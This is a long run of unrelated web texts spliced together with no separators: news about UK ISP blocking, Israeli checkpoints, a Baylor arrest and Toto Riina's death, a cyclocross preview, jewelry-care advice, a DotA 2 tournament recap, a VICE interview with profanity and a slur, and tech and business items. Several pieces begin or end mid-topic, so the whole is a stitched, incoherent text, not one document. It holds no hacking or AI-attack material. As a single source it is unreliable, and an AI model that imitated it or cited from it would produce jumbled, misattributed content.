Of the four UK ISPs (BT/PlusNet/EE, Sky Broadband, Virgin Media, and TalkTalk) with the most subscribers, three are blocking Private Internet Access. Additionally, since access to the internet through public wifi hotspots is largely provided by Arquiva, BT, Sky, Nomad, Virgin Media, and O2, the vast majority of these users are unable to access Private Internet Access, either. Suffice to say, censorship is still rampant in the UK. A new, more censored internet – as promised by Theresa May – has already arrived.
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According to our European contributor, Christine Vardaros, Zdeněk Štybar is looking towards the cyclocross season now that he is recovered from his accident in the Enoco Tour.
The rainbow colors of the world champion will be seen in the first match of the BPost Bank trophy, which is the GP Mario De Clercq in Ronse, taking place on October 12th.
As we saw last year at the Ronse, the annual early European race boasts a densely packed field with the best in the world. In 2013, Sven Nys dominated the day by nearly twenty seconds, while Martin Bina edged Niels Albert. Although Albert will be missed, the addition of Štybar should spice things up for the competition.
Winner of the U23 world championships, Wout Van Aert will also add to the deep field, which should also include Lars van der Haar, Tom Meeusen , Klaas Vantornout, Sven Nys and Kevin Pauwels.
These are part of my White Rose Collection, inspired by the anti-fascist group Die Weisse Rose. A portion of sales from any item in this collection will be donated to American Refugee Committee, and more items are available on my website.
Care of your electroformed jewelry:
Soon I'll print this up to send with your order, but if you did not receive a care card give this a read.
One, this is all copper. The process used to make your jewelry doesn't involve any annealing. Annealing is a heat process that makes metal softer and easier to bend and less likely to break or fracture. Since your jewelry has not undergone this process that doesn't mean that it's fragile, but it is not designed to be twisted or strongly bent. Any adjustable rings should be adjusted slowly and not more than 1 or maybe 2 sizes, and cuff bracelets should be put on with care without bending the metal, and any adjustments should be done slowly and carefully as to not crack the copper. It should be fine unless you actively try to destroy your new jewelry, so please don't do that. Also be conscious of things like carrying all 12 grocery bags on one hand (because making more than trip sucks) while wearing an electroformed ring. Also be mindful if you're the type to forcefully jam your hands into pockets or purses. I like to think it would hurt your finger before the jewelry because I try to make everything as sturdy as possible, but it's still not a good idea either way.
I've sealed all my rings and many of my pendants. This sealant is not permanent, unfortunately. If you find your fingers are suddenly turning a green tinge you have a few options. If you're fine with a green finger band that's cool-it's completely harmless. You can also either dab some clear nail polish on the band or you can find a special sealant used for metal jewelry. The brand I use is Protectaclear, but there are other brands used for metal jewelry such as ITS sealer or a light coat of jewelry resin. Some require light heat to cure, so if you're unsure if the stone or item can withstand heat don't be afraid to ask me if you go that route.
Since as I said, the sealant isn't permanent, there are some things you can do that will extend the life of it and any patina or brightness of the copper.
Remove your jewelry before washing your hands, bathing, swimming, hot tubbing, or saunas. If you wear a ring next to your electroformed ring, the metal rubbing against metal will remove the sealant, patina, or silver plating very quickly.
Any silver plated items have an extremely thin coat of silver. It will wear off eventually. Any blackened patina rings will also start to wear through and the color of copper will shine through. A dip in a liver of sulfur solution will bring it back.
Although I haven't noticed this happening on any of my jewelry, it is possible that you might notice flakes coming off your item. If this happens it is just the sealant wearing off.
Though most of my items should be fine, I do not recommend storing in direct sunlight. Some items are an absolute no-no for sunlight and will be stated in the item description. In any case, nothing should be left on the dash of your car on a hot day.
This huge influx of new patients threatens to overwhelm hospitals which are suddenly surrounded with checkpoints, and which Israeli security forces are heavily restricting access to. Even the doctors and other staff at these hospitals are struggling to get to work.
For patients, in many cases, it’s nearly impossible, with people who used to live less than 10 minutes from the hospital finding waits of an hour or more just to get around a military checkpoint, and report Israeli troops firing live rounds at them as they try to get wounded relatives to receive care.
Israeli police downplayed the complaints, saying ambulances are allowed through the checkpoints and the complaints about patients dying, waiting in civilian cars to get through checkpoints were “far-fetched.” At the same time, the police conceded even they aren’t sure how many checkpoints they’ve set up at this point, but insisted the situation was fine.
Neighborhoods of tens of thousands of civilians are being effectively sealed off by the checkpoints, however, and freedom of movement is severely curtailed for the average Palestinian, even as Israeli officials call for more restrictions in the name of security.
Former Baylor football player Rami Hammad was arrested on campus by Baylor Police Wednesday on two charges of criminal trespassing.
He was arrested around 12:30 p.m. and booked into McLennan County Jail.
Hammad was an offensive linemen for Baylor’s football team. He played a total of 13 games as a sophomore in 2015, according to a report by the Waco Tribune-Herald. He did not enroll in classes for the fall semester.
Hammad’s bond will be set Thursday when the judge returns to the courthouse, a representative from McLennan County Jail said.
Hammad was also arrested in August for a felony stalking charge against a Baylor student, the Tribune-Herald reported.
“The woman told Hammad, a 21-year-old junior from Irving, to leave before she went into the class, but he waited for her outside, according to the affidavit,” the Tribune-Herald reported. “Seeing him waiting, the woman was afraid to leave alone and asked for the professor’s help, the affidavit states.”
After the two left together, Hammad followed them to the professor’s office, the Tribune-Herald reported.
“After unsuccessful calls to Baylor athletics, the professor and student decided to call police, saying they feared for their safety, according to the affidavit,” the Tribune-Herald reported.
Hammad was also accused of sexual assault last fall against a different woman, according to ESPN’s “Outside the Lines.”
The following press release was issued early this morning by Unified Students:
In October of last year, HSU’s controversial firing of INRSEP (Indian Natural Resources Science and Engineering Program) director Dr. Jacquelyn Bolman inspired students, faculty, staff and Tribal members to participate in the largest demonstrations on HSU campus since the Vietnam War Era. At the end of the Native American Activism Conference on Martin Luther King Day, Humboldt State students announced plans to reside in the Bolman Forum (formerly Native American Forum) until a variety of demands were met.
The 35 day residency has opened a platform at Humboldt State University for meaningful participation by students and local Tribal governments regarding the education of Native youth at the State University level. In a February 12th correspondence following the announcement of the residency, Gerald Jones from the Pacific Regional Office of the Bureau of Indian Affairs acknowledged that “Student protests at HSU may provide an opportunity for us to partner to promote Indian Self-Determination (25 USC 450 et. seq./25 USC 3109),” an integral aspect of Federal Indian Policy since the Indian Self-Determination and Education Assistance Act of 1975. The demands of the protesters are in line with Article 15 of the United Nations Declaration on the Rights of Indigenous Peoples which states that “Indigenous peoples have the right to the dignity and diversity of their cultures, traditions, histories and aspirations which shall be appropriately reflected in education and public information.”
The demonstrators have been in dialogue with Humboldt State University President Dr. Lisa Rossbacher’s administration to secure dates during which the protester’s nine demands will be negotiated. The list of demands outlines measures that upon implementation will promote equitable opportunity for students of color, which has diminished at the university during recent decades.
In preparation for mediations scheduled between the students, President, and key members of Humboldt State University administrators on March 3rd, the Unified students have decided to suspend the round-the-clock demonstration as an act of good faith, acknowledging President Rossbacher’s “commitment… to working with Native American students and tribal nations regarding definitions of student success, the characteristics of appropriate student support programs, the historical and future plans for program funding, the utilization of space in the Native American Forum, and clear plans for how this space will be used in the future.” Students expect the Forum to be respected as an Autonomous Center for Indigenous Learning.
According to a report released Monday by the China Tourism Academy, 129 million tourists visited the country in 2013, down 2.5% from the previous year. Meanwhile, the degree of satisfaction reported by tourists dropped by 11% in 2013 from the year prior, to “basically satisfied,” the report said.
Among the reasons the academy cited to explain the drop in tourist happiness was the “natural environment,” as well as levels of access for the disabled and water quality.
Such a decline in tourist numbers has occurred despite the government’s attempt to boost visits via the creation of 72-hour visa waivers for transit passengers. A similar attempt to boost tourism, the launch of the marketing campaign with the slogan “Beautiful China,” also failed to revive flagging enthusiasm—though beauty is famously in the eye of the beholder, it appears foreign tourists have yet to be convinced of any aesthetic appeal in the country’s hazard-level pall of smog.
The academy says that China remains the fourth-hottest travel destination in the world, after France, the U.S. and Spain. Still, it cautions that expectations for the country’s tourism industry should be tempered, with prospects for its development “uncertain and possibly worsening.” In particular, the report cited the weather and terrorism incidents as among factors that further complicate China’s appeal. In recent months, conflict between China’s Uighur ethnic minority and the Han majority have spilled over into civilian life, with violent attacks killing dozens of bystanders at sites ranging from train stations to public markets.
A state media report on the topic carried earlier this year by China Daily also cited experts who faulted the country’s haphazard approach to historical preservation as a reason behind waning tourism enthusiasm. Across China, lanes built in a heavily reconstructed, faux-historical design selling identikit souvenirs are the norm, a disheartening phenomenon for tourists hoping for more of a sense the authentic.
"We have to value our local history and China's cultural heritage. That's what foreigners come to China to see, not soaring skyscrapers and wide streets, which can be seen in every Western country," the report cited Peking University's Wu Bihu, professor focusing on tourism development, as saying.
Thicker-walleted Chinese travelers, too, are increasingly making forays away from the mainland. According to travel website Qunar.com, over the past year, bookings to nearby destinations such as Hong Kong, Macau and Taiwan have risen by 67%, 17% and 50%, respectively.
-- Te-Ping Chen. Follow her on Twitter at @tepingchen
Also popular on China Real Time now:
Why China May Avoid a U.S.-Style Property Crash
Over the next three years Foxtel says it will increase its drama slate to at least five major series each year, up from an average of two, while also investing in new comedy programming.
It will also commission at least nine new premium entertainment and six new documentary series per year with the budget for factual programming also set to to triple.
Foxtel chief executive Richard Freudenstein said in a statement: “We’re passionate about growing the depth and breadth of Australian content on our platforms and we are thrilled to announce that we’re significantly boosting our investment in local commissions.
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“Foxtel has been a proud producer of local content across all genres from the best in local drama and comedy to premium documentaries and reality programming. No other Australian subscription service comes close to the investment we make and we’re looking forward to unveiling the fruits of our investments over the next few months.
“In an average week Foxtel broadcasts more first run content than other subscription services broadcast in a year. This announcement means that even more of that original content will be telling Australian stories.”
The first new series to be announced is six-part political thriller Secret City, inspired by the novels of journalists Steve Lewis and Chris Uhlman, to air in 2016. The cast includes Anna Torv (Fringe, Foxtel’s Deadline Gallipoli) Damon Herriman (Justified, The Water Diviner) and Dan Wyllie (Puberty Blues, Foxtel’s Tangle).
The move follows on from Stan’s commitment to local content, with the SVOD player starting production on its first original series comedy show No Activity in May.
Netflix is also best known for its original series, responsible for the likes of Orange is the New Black, House of Cards and Marvel’s Daredevil. However the US streaming behemoth has not committed to any locally produced original series.
Foxtel already has a strong slate of original series, including the well-awarded Wentworth and sketch comedy series Open Slather. It also invests in locally made reality series such as Selling Houses Australia, Australia’s Next Top Model, The Real Housewives of Melbourne, Coast Australia and River Cottage Australia.
Hello everyone ,
We all wish you a Happy VR New Year !
We’ve been discrete since our first intervention, trying to bring you some more concrete content, and here is a post summing up what we’ve done so far.
It’s also good to mention that we can only spend one week of work per month on the project, as this is a partial-time student project.
As this is a student project, dispatched on different milestones (Concept/3C/Alpha/Beta/…), we are now reaching the 3C milestone and here is what were our objectives for this one:
Camera
Controller
Character
Camera
Designing camera and its constraints wasn’t a big challenge, as Oculus brings to the community an easy-to-import Oculus plugin, so we are basically using this Oculus plugin.
The player will be able to look through Orpheus eyes (the pilot) and move his head inside his cockpit, the player can also “eye-lock” enemies with his head.
Controller
Our best concern was to bring the players user-friendly controls, and we think we succeed in that, through an iterative development process, which took some time..
The result of all these iteration is the combination of the Oculus Rift and a Gamepad controlling the ship movements.
Character
We also spent time on defining the ship actions, which are:
You can fire with a static gatling
You can eye-lock enemies, and fire guided missiles
You can heal up your ship
You can fire up a huge lazer
Here isone more screenshoot, so that you can see our artits work.
Velodyne re-asserted its dominance of the lidar market today by announcing a product with 128 laser beams, twice as many as its previous top-of-the-line model.
“The VLS-128 is the best LiDAR sensor on the planet, delivering the most advanced real-time 3D vision for safe driving,” Mike Jellen, the president of Velodyne LiDAR, said in a statement.
The announcement, which had been widely anticipated, leaves out the one detail that everyone most wants to know: the price. The company’s previous top-of-the-line product originally sold for more than US $70,000.
Today, though, a host of rival companies are on the scene, some of them promising solid-state products that cost less because they have no moving parts. Some of those lidars are priced in the hundreds of dollars, but as advocates of moving parts like to point out, solid-state technololgy offers only very low resolution.
Velodyne argues that its new lidar’s resolution is high enough to identify objects without any input from other sensors, a stratagem known as sensor fusion. If so, that would relegate the cameras, radars, and other sensors to the role of mere backup devices.
Lidar provides a three-dimensional view of the world by scanning laser beams back and forth or—as in this case—round and round, for 360 degrees of coverage. Each beam scans in two dimensions, and a stack of such beams can thus represent three. The more laser beams you have, the better the 3D resolution.
The company’s statement claims a “whopping” 10-fold improvement in resolution, which doesn’t quite square with what Anand Gopalan, chief technology officer for Velodyne LiDAR, told IEEE Spectrum last week. He said doubling the beam count roughly triples the resolution, thanks in part to the finer spacing of the beams. But the seeming discrepancy may simply reflect additional gains in resolution that Velodyne has achieved from faster scanning and better algorithms for processing the data.
Photo: Velodyne Shown here are Velodyne's HDL-64E LiDAR sensor (left) and the company's VLS-128 sensor (right).
How the product compares with the lidar that Waymo now builds for itself is not clear. Waymo had originally based its self-driving technology on the Velodyne 64-beam model, but it wasn’t satisfied with it and therefore built itself three in-house models—for long, medium, and short ranges.
“We think short, medium, and long range [lidars] are not necessary,” Gopalan said. But, he added, Velodyne had listened to customers’ suggestions for getting around key problems, called corner cases, that the old lidar couldn’t handle.
“One problem is seen in high-speed highway driving, where you want to see far out but with enough resolution to quickly classify things,” he said. “With a higher number of beams you get really higher effective resolution—without compromising the frame rate.”
Velodyne hasn’t released the names of its customers, but Gopalan said that “with one or two exceptions” it was working with most of the industry and that almost every customer had expressed an interest in the 128-beamer.
“You’ll see it in experimental cars by early 2018,” he said. The new lidar is being built by entirely automated processes in the company’s San Jose, Calif. factory, where production is ramping up. As the volume rises, unit costs will fall, but the price actually charged is of course entirely at Velodyne’s discretion.
How much higher can the laser beam count go? A similar question was asked back in 1975, when the television comedy show “Saturday Night Live” ran a mock commercial parodying the seemingly outlandish two-blade razor Gillette had recently introduced. The commercial was for the “Triple-Trac razor.”
Answer me this: What sporting events bring in millions upon millions of people to watch, has an $18 Million USD prize pool, and consists of teams from all over the world who are considered the elite at what they do?
That’s right. None.
DotA 2 isn’t a regular sport, per say, but that was what was being played in Seattle’s Key Arena last week. DotA 2 is a competitive video game, and the winning team went home with $6.6 Million US dollars last weekend at the finals. And for those who were there, it was one of the most exciting events in DotA 2 history.
For those not in the know, DotA 2 is an Action RTS, or a Multiplayer Online Battle Arena. Two teams of five called the Radiant and the Dire battle it out against each other, killing as many of the opposition as possible and destroying the other team’s base. Over time your character gains gold and experience, which is used to buy items and level up to obtain more spells/abilities and to get stronger. The map is square, with three lanes: two running along each edge, with another running diagonally through the middle. Creatures called ‘creeps’ run forth from your base and meet in the middle of the lane and fight with the enemy creeps. In between these lanes is ‘the jungle’, in which neutral creeps reside (not having affiliation to the Radiant or the Dire).
Semantics aside, we’re here to talk about The International! The International (or TI for short) is an annual tournament run by Valve Software, which started back in 2011. They invite teams to compete, and also hold qualifiers for each region. This year, they held open qualifiers so anyone could be part of TI and have a shot at the huge prize pool. The prize pool is also crowd funded, by the way. Valve only contributes $1.6 Million USD at the beginning, the rest is from virtual item purchases from fans of the game.
Now, before you say that’s absolutely bonkers, I just want you to know you are completely correct. Everyone who plays this game is barking mad. And we love it!
TI5 brought about some amazing games, heart breaking upsets and some fantastic DotA. First off, the defending champions got eliminated in one of the first games of the Main Event, as did the champions from the first TI. Then, later on in the event, fan favourites Team Secret get eliminated by European team Virtus Pro, leaving in 7th/8th place and $829,333 USD to their names. After their defeat, there was only one team left with any players from the United States; everyone else was from China. Valve unveiled a new 10v10 game mode that is now available to anyone who wants to play on the new Reborn DotA 2 client, which hosts custom games. Ten random people got chosen from the crowd to play with against their favourite professional players, and it was an absolute spectacle to watch.
Secret being eliminated wasn’t the only upset of this year’s TI. Virtually unknown wildcard team CDEC Gaming from China had battled their way through the tournament, advancing from the Wildcard event into the Group stage, of which they came second in their group. From there, they seemed unstoppable. CDEC won every game they played in the Main Event, advancing them straight through to the finals. Everyone was astounded. The commentary teams hadn’t predicted this at all; no-one expected a wildcard team to make it into the final, that’s absurd! Still, against all odds CDEC made it through, proving to the world that they were a serious contender, and were not to be messed with.
CDEC are comprised of:
Sun “Agressif” Zheng – Carry
Huang “Shiki” Jiwei – Mid
Chen “Xz” Zezhi – Offlane
Fu “Q” Bin – Support
Liu “Garder” Xinzhou – Support
As I mentioned earlier, only one American team remained in the tournament. All the other Western teams had fallen to their Eastern counterparts, and were dominating this year’s tournament. All bar one team, that is. Evil Geniuses, a team mixed with young and experienced players alike, with the youngest and oldest members being 16 and 27 respectively. Evil Geniuses (or EG) are superstars of the North American DotA scene. Having formed shortly after the first International in 2011 by carry player FeaR (who is the 27 year old) this team has been through a few ups and downs, and many shuffles since its inception. Their current team however proved to be extremely powerful, taking out the DotA Asian Championships earlier on this year and being consistent throughout other tournaments leading up to TI, making them one of the top contenders. After battling through the group stage, EG ended up on top of their pool. In the Main Event, they blitzed all their opponents, until their match up against CDEC… to whom they lost 0-2. Because of how the Brackets work in TI, EG weren’t out of the tournament at this stage though, as they moved from the upper bracket into the lower bracket, giving them a second chance at making it through to the final, where they would face CDEC again. They had to beat LGD Gaming however, a very tight-knit Chinese team, who the day before beat the runner’s up from TI4 Vici Gaming. LGD looked extremely good, making some amazing plays and also being the only team left in the tournament who had a previous winner of TI. Nevertheless, they were unable to beat the EG machine, who beat them 2-0 in the last Best of 3 series before the final, and with that they proved that they deserved to be there, and veteran player FeaR finally has his shot at a TI final after five years.
EG are comprised of:
Clinton “FeaR” Loomis – Carry
Sumail “Suma1l” Hassan – Mid
Saahil “Universe” Arora – Offlane
Kurtis “Aui_2000” Ling – Support
Peter “PPD” Dager – Support
These are the two teams that made it through to the final series, and gave all DotA fans from around the world one of the best Best of Five series’ anyone has ever seen.
From the very beginning of the pick/ban phase, everyone knew this was a seriously good matchup, with both teams preparing to take risks to push for the Aegis. CDEC first banned out Naga Siren and Techies, two heroes which slow the game down: something that CDEC didn’t want to have to face. This left EG with the opportunity to pick some really strong heroes from the current meta-game, such as Gyrocopter, a man in a small flying rocket… thing, that has the potential of gaining an extreme amount of gold very quickly to get items that will decimate the other team. EG picked up many of their players favourite heroes, and seemed to be on top of the first game of the series and took it out fairly comfortably; albeit a shaky start which had Suma1l playing catch-up. The second game started off much the same, with the same heroes being picked and banned, apart from CDEC picking up Tusk and Broodmother. Tusk has shown to be a very strong initiator in this meta with his ability to become a large snowball, and the Broodmother pick completely threw EG off-guard. CDEC put Broodmother in the mid lane, which caused a lot of havoc for Suma1l, playing Windranger. Ultimately the Tusk initiation plays and the constant push from Broodmother were too much for EG to handle, and CDEC took out the second game, bringing the series 1-1.
Throughout both of those games, EG had let CDEC pick a hero called Leshrac, who is currently very strong when used correctly with the potential to cause a lot of damage in team fights. However, CDEC weren’t very proficient at using Leshrac, and EG knew this. Knowing they would pick Leshrac every time he was available meant that EG could ban out some of CDEC’s signature heroes, namely Tusk, Dark Seer and Bounty Hunter, all heroes that complement CDEC’s aggressive playstyle. EG’s drafter PPD showed a huge amount of knowledge of the game and had studied CDEC inside and out, and knew what they were going to do before they even did it. In the third game of the series, CDEC opted to ban Leshrac in the first phase, leaving EG with Naga Siren to pick, whom Aui_2000 plays very well. In fact, when EG beat CDEC back in the group stages, it was with Techies and Naga Siren (Hence the bans). With CDEC letting Naga through EG could play a slightly slower more farming oriented game, getting the Gyrocopter lots of money and items. Once again, EG take out the 3rd game in the series, although it did come very close with Aggressif’s Slark play, who ended up with 60 extra agility in one fight.
The real excitement came in the 4th game of the series.
CDEC picked a hero called Clockwerk, whom EG had picked for their Offlaner Universe in almost every game of this series so far. PPD then drafted Earthshaker for Universe, and picked up Ancient Apparition for himself. Little did the audience know, these two heroes would almost win the game for EG, taking out CDEC and taking home the Aegis of Champions.
For those who don’t know: Earthshaker has an ability called Echo Slam, which stuns and deals lots of damage to enemy units, and the more units there are around the more damage/stun the ability does. Ancient Apparition has an ability called Ice Blast, which shoots out a big ball of ice which explodes over enemy units, dealing damage. What it also does, is prevents the enemies under the effect of ice blast from healing, and also when they get below a certain threshold of HP, they shatter and die instantly. Put those two abilities together, and you have quite an impressive combo. All you need is all of the enemy team to be bunched in a small space.
And that is exactly what happened.
CDEC had killed Suma1l’s Storm Spirit, and decided it would be a good time to go and kill Roshan, a big Dragon like…. Thing on the map which once dead drops an item called the Aegis of Immortality, which like the name suggests gives the carrier immortality. EG saw that CDEC were going to try and kill Roshan, so they followed them. Once they were all inside Roshan’s pit, which forces all five heroes to be in close vicinity of each other, EG started the combo.
Ancient Apparition fired out the tracer for his ultimate Ice Blast. Earthshaker used an item called Blink Dagger which lets you teleport a small distance, right into the middle of CDEC.
And then the combo happened.
Four of CDEC’s heroes fell almost instantly. The damage from Echo Slam mixed with Ancient Apparition’s shatter was just too much for them to handle. Only one hero got out alive, which left Roshan free for EG to take, and immortality was given to Storm Spirit, who had respawned just in time to join the party.
CDEC called GG not long after this, granting EG the title of TI5 champions!! They won $6.6 Million US, a prize that FeaR had been waiting a long time for.
Ultimately, this year’s International was a huge success. The careful balancing of the heroes in the game gave way for every match to be action packed and exciting, without a dull moment across over 100 games of DotA 2. My only gripe is that I wasn’t there to experience it in action, as the atmosphere and the electricity from the crowd would have been amazing at every point in the tournament.
For us DotA fans, we now have to wait a few months until the first series of ‘Majors’ begin to happen, a new circuit created by Valve for the pro scene, which looks to shake up how things are done in the professional community. I for one am very excited for this, and can’t wait to see how it all pans out.
Well done to all teams who made it to The International 5, and especially well done to CDEC and EG. You gave us an amazing few weeks, one which will be hard to top next year.
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Salvatore "Toto" Riina, nicknamed "The Beast" because of his cruelty, lead a reign of terror for almost 20 years after taking control of the island's powerful organised crime group Cosa Nostra in the 1970s.
The 87-year old had been serving 26 life sentences since 1993. He is thought to have ordered over 150 murders.
The most high-profile were the assassinations in 1992 of anti-mafia judges Giovanni Falcone and Paolo Borsellino, who had worked fearlessly to bring more than 300 mobsters to trial in 1987.
Riina, who was also dubbed "U Curtu" ("Shorty") due to his 5-foot-2-inch (1.58) height, for years denied all links to the crime group -- nicknamed "the octopus" for its tentacled reach into all areas of society.
In 2009 he broke the Mafia code of 'omerta' -- a vow of silence -- and surprised those who thought he would take his secrets to the grave by admitting his link to the mob.
He was caught on a wiretap earlier this year saying he "regrets nothing".
"They'll never break me, even if they give me 3,000 years" in jail.
The son of a poor farmer, Riina was born on November 16, 1930 in Corleone, a vendetta-haunted village inland from Palermo and the birthplace of Don Corleone, the fictional Godfather in Francis Coppola's popular movie trilogy.
Dissolved in acid
He is believed to have first murdered for the Mafia aged 19 and followed that a year later by killing a man during an argument -- landing him behind bars for a six-year manslaughter stretch.
Once out, he became a foot soldier for volatile and vain boss Luciano Leggio, eventually taking over from him at the end of the 1970s when the cigar-puffing fugitive was caught and jailed.
Riina went on the run himself in 1969, but continued to lead the Corleonesi clan from hiding, increasing his influence by bumping off rivals such as Filippo Marchese, a hitman who garroted his victims in a "room of death".
Riina would elude police efforts to snare him for almost a quarter of a century -- without ever leaving Sicily -- and took charge of Cosa Nostra's key businesses, from drug trafficking to kidnapping and racketeering.
His bloody victory in the Mafia War of the 1980s was to prove his undoing however, as mobsters from defeated rival families began turning state witness against him, and police tracked him to a house in Palermo.
But the violence did not end there: from behind bars Riina ordered the murder of a 13-year old boy who was kidnapped in a bid to stop his father from spilling Mafia secrets. He was strangled and his body dissolved in acid.
'Just my dad'
In revenge for Riina's arrest and a new anti-Mafia law that saw jailed mobsters kept in total isolation, the group launched a series of bombings in Rome, Milan and Florence that killed 10 people.
After years in which only his lawyers were allowed to visit him, an ageing and cancer-riddled Riina asked in July 2017 to be released from prison on the grounds of serious illness -- a request that was denied.
On Thursday, days after he was placed into a medical coma by prison doctors, Italy's Health Minister Andrea Orlando signed a waiver allowing Riina's family to visit him and say their goodbyes.
The mobster was married to Antonietta Bagarella, a teacher from a mafioso family. He was father to four children, one of whom is behind bars for four murders.
"You're not Toto Riina to me, you're just my dad. And I wish you happy birthday dad on this sad but important day, I love you," one son, Salvo, wrote on Facebook on Thursday.
The video was made by Bob Ray, the same guy who made Total Badass, a documentary about Chad Holt, a cocaine-addicted competitive guinea pig breeder and Adam Reposa's legal assistant. Bob had intended the commercial to be just one small part of a much larger multi-part reality series on Reposa and Holt, but after its release a fancy-pants Hollywood producer shoved a TV contract in Reposa's face, which he signed because again, the money-grubbing pile of shit thing. Bob and Chad were thrown under the bus. What followed was a retarded web of backstabbings, hurt feelings, a forthcoming Playboy feature, and a nonprofit organization called Drunk Drivers of Texas whose point remains an enigma. In an effort to better understand this idiotic and hilarious saga, I called up Bob for a chat.
VICE: Hello, Bob. What was the original idea behind these Adam Reposa commercials?
Bob: Chad, Repo, and I had been farting around with the idea of making a reality show ever since Total Badass. We filmed a handful of things and were inching it forward as we were figuring it out. I thought this angle sounded pretty good: Chad, the lifelong criminal, now working the halls of justice as a legal assistant for Adam Reposa, the batshit crazy lawyer. As part of that journey, we made these commercials.
The first commercial was born when Reposa received a big-ass truck in place of payment from one of his clients who couldn't afford to pay up. Chad called me and said that he and Repo were itching to smash the truck into another car and they were hoping that I'd be interested in filming it. I was. We figured out what it was exactly we were doing while on location and then later as I drunkenly edited.
You say that Reposa said the commercial made him look like "an unhinged individual and a lunatic spaz." Wasn't that to be expected when he was screaming about freedom and ramming his truck into a parked car?
Well, he didn't really say that "lunatic spaz" stuff. There are a few not-entirely-true elements in the "Saga" short film. But it's not so much a lie as a dramatic interpretation of actual events.
What were the "actual events"?
Well, back when the commercial got internet famous, we had a huge boost of energy and were more committed than ever to making our reality show. Repo was so committed, in fact, that he real-fucking-fast signed an exclusive one-year contract with a Hollywood TV man who had popped up in the wake of the commercial, effectively breaking up the team and excluding Chad and me from any TV show action. I think from Hollywood's point of view, Chad and I were dead, cancerous weight. And Repo was so excited that a "legitimate TV person" was keen on making a TV show about him that he shed that dead weight faster than a somethingsomething that sheds dead weight real fast.
At first I was a bit butthurt, but after a few days passed I finally found the inspiration to do the second commercial. I thought the message that Repo insisted on putting forth, a rant about NYC's large soda ban, was shit. The new stuff also lacked the subtle badassedness of a truck crash. But, being the total pro that I am, I got all drunk and cut that shit together. I found the end result to be really funny. But Adam (and Hollywood man) didn't see the humor, I guess.
What sort of person hires Reposa?
Two kinds, I think. Desperate folks and fighters. And Chad's friends. I guess that's three kinds of people. Some people seek him out because he will fight their case. He won't take a plea to save time and energy. It's likely his most redeeming trait, fighting injustice. It's arguably his only redeeming trait.
I know that prosecutors hate him, and that has to be a good thing, right? Judges aren't too fond of him, either. Not so sure that's a good thing. He forces a ton of jury trials and the system does not like that. The system is set up to just move people through like a sausage factory, assuming sausage factories are quick-moving affairs. It's easier, cheaper, and more convenient for someone to plea to a lesser charge and take the guilty conviction than it is to fight to prove you're innocent. It's fucked up. I do know some other defense lawyers who think he's a piece of shit, but there are just as many who think he's a badass.
How did Chad start working for Reposa? I never thought he would be working in the legal world.
Chad has explored those halls for a long time, and now he gets paid to walk them. He is fully qualified for this job. Gainful employment was also a bit of a necessity. After Total Badass, Chad couldn't sell weed like he used to.
How's Chad doing otherwise? Any more arrests?
Post Total Badass, I know of one: Both Chad and I got busted and locked up at the border checkpoint while on a film tour for Hell on Wheels and Total Badass. And when I say border checkpoint, I really mean a checkpoint on I-10 that's easily 40 miles in from the Mexican border. We never crossed the border to Mexico. Hell, we never came near it. They put a sniffer dog on every single vehicle that drove down I-10 through El Paso. Other than that, not that I know of. He's been arrested about 21 times, so it's entirely possible one snuck in there that I don't know about.
And Reposa? How's his legal career going?
Well, he recently moved into a new office, was featured on the local news, did interviews on a zillion web sites and radio shows across the globe, has a reality show in the works, and a feature article in Playboy coming out soon. So I guess he'd say that life is sweet. All of this is a result of that one dumb commercial. That's the weirdest part.
I heard he is suing you. Is that true?
Not yet. But give me some time; I might be able to provoke him. I re-purposed some of the old Reposa footage for use in the Drunk Drivers of Texas PSAs, so he might get to litigating soon.
I have to be cool with Repo, though, because I want to shoot a short film in his office in a few weeks. So, there's that. At this point, we're all just pretending like we're not all lying and fucking each other over. It's very soap-opera/ high school.
What is the deal with Drunk Drivers of Texas, exactly?
Working with DDT is one of the great things to come out of the Reposa commercials. It's an official nonprofit registered with the Secretary of State here in Texas, and Chad and Reposa are the spokesperson and celebrity spokesperson, respectfully. Basically, DDT just gave me the keys to the organization and asked me to make some PSAs. They let me redesign the site in order to better present the PSAs. I suck at site design, so I thought that was funny and/or stupid of them.
Right, but what is their mission?
I actually have very little info on their specific mission statement and whatnot. And that's part of the fun. I get the feeling that they are totally pro-getting fucked up, but just anti-drunk driving. Their target audience doesn't seem to be the kids or the normal people out there, but the fuck-ups and drunks and stoners and hard-core partiers who are frequent drunk drivers.
Do they have meetings? What are those like?
They've had a few meetings where guest speakers have come talk to about DWIs and they provide info on alternative forms of drunken travel. Their meetings also have 50 free beers and some bands. You need bait to lure those drunks in. I know that they are currently planning some big-ass party events where they ensure everyone in attendance has a safe ride home.
To shoot the spots, we had a Fourth of July party at a bar in South Austin and just filmed a bunch of crazy shit. I got drunk and edited the stuff and we have 14 public service announcements that will freak people out. Hell, we might even save some lives.
“A light was turned off today, it breaks my heart…. Gone far too soon,” the Iranian NASA scientist, Firouz Naderi, wrote in his latest post on Instagram. Later he twitted: A genius? Yes. But also a daughter, a mother and a wife.
Mirzakhani, 40, fought with cancer for four years and was hospitalized lately as the cancer has spread to her bone marrow.
The two times gold medal winner in the International Mathematical Olympiad received her Bachelor of Science in mathematics from Iran’s Sharif University of Technology in 1999 and earned a PhD degree in mathematics from Harvard University in 2004.
From 2004 to 2008 she was a Clay Mathematics Institute Research Fellow and an assistant professor at Princeton University. She was a professor at Stanford University. Her honors include the 2009 Blumenthal Award for the Advancement of Research in Pure Mathematics and the 2013 Satter Prize of the American Mathematical Society.
Mirzakhani also became the first woman and the first Iranian to be awarded a Fields Medal.
While consumers buy organic for lots of reasons, consumer research shows that sustainability and animal welfare concerns are not key purchase drivers, claim the authors of The Organic Marketing Report, posted on the Academics Review website.
Instead the erroneous belief that organic foods are healthier, coupled with “perceived [and the authors argue, unfounded] safety concerns tied to pesticides, hormones, antibiotics and GMOs” are the “critical components driving sales,” they argue.
We quickly rejected the inexperienced. We set aside those without the assets or time to manage such a large project. And we also turned away those with radically niche ideas for the framework. That still left many good choices full of strength, capability, and vision. One candidate stood out above the rest.
The British Columbia Institute of Technology (BCIT) in Vancouver, Canada is a highly regarded applied technology institute with 48,000 full and part-time students. Their impressive BCIT School of Computing and Academic Studies teaches CodeIgniter to 150 students a year. Now, they are its stewards.
The Dean and faculty support real world projects using a living lab model that brings practical exposure and involvement to their students. They’ve built impressive living labs in construction, energy, and health. CodeIgniter is a perfect fit for this model, and BCIT has the resources and infrastructure to manage it effectively.
